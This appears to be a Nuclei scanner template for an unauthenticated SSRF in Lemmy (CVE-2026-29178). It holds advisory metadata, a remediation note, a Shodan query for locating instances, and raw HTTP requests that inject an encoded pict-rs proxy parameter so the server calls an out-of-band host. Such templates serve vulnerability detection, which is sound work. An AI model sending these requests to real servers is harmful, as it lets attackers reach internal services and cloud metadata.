Copy
id: CVE-2026-29178
info:
name: Lemmy <= 0.19.15 - Unauthenticated Server-Side Request Forgery
author: s4e-io
severity: high
description: |
Lemmy <= 0.19.15 contains an unauthenticated server-side request forgery caused by the image format parameter being inserted unencoded into the internal pict-rs process URL, letting remote attackers inject the pict-rs proxy parameter and make pict-rs fetch arbitrary URLs. The 1.0.0 pre-releases before the fix expose the same flaw through the file_type parameter of /api/v4/image.
impact: |
Unauthenticated attackers can make the pict-rs service send requests to internal hosts and cloud metadata endpoints, and use the returned pict-rs errors to map internal services.
remediation: |
Update to version 0.19.16 or later.
reference:
- https://github.com/LemmyNet/lemmy/security/advisories/GHSA-jvxv-2jjp-jxc3
- https://github.com/LemmyNet/lemmy/commit/67974ea3f4adb1a4c21d3b8783c75a7325b74a60
- https://github.com/LemmyNet/lemmy/commit/f47a03f56d1797bceab5f34b6f624c91cecd5871
- https://github.com/LemmyNet/lemmy/commit/690e14e777e73eed3cb155c57a663f458236b198
- https://nvd.nist.gov/vuln/detail/CVE-2026-29178
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
cvss-score: 7.7
cve-id: CVE-2026-29178
epss-score: 0.01268
epss-percentile: 0.69849
cwe-id: CWE-918
metadata:
verified: true
max-request: 3
vendor: lemmy
product: lemmy
shodan-query: 'http.html:"window.isoData" http.html:"site_res"'
tags: cve,cve2026,lemmy,ssrf,oast,unauth
flow: http(1) && http(2)
http:
- raw:
- |
GET /nodeinfo/2.0.json HTTP/1.1
Host: {{Hostname}}
redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains(body, "\"software\":{\"name\":\"lemmy\"")'
condition: and
internal: true
- raw:
- |
GET /pictrs/image/{{randstr}}.jpg?format=jpg%3Fproxy%3Dhttp%3A%2F%2F{{interactsh-url}}%2F{{randstr}}.jpg%26x%3D HTTP/1.1
Host: {{Hostname}}
- |
GET /api/v4/image/{{randstr}}.jpg?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2F{{interactsh-url}}%2F{{randstr}}.jpg%26x%3D HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "http")'
- 'contains(to_lower(interactsh_request), "user-agent: pict-rs")'
- 'contains(content_type, "application/json")'
- 'contains(body, "\"msg\":\"")'
condition: and
# digest: 4a0a00473045022100912ecfbe17d0821dee5e376ca5bdcb27ddffcec6353dae62bf08e4c4f217c4d60220506dbc524cf46f1d85a1dc58699a71ff895185c0915ad1e0b66a5439d5355b62:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.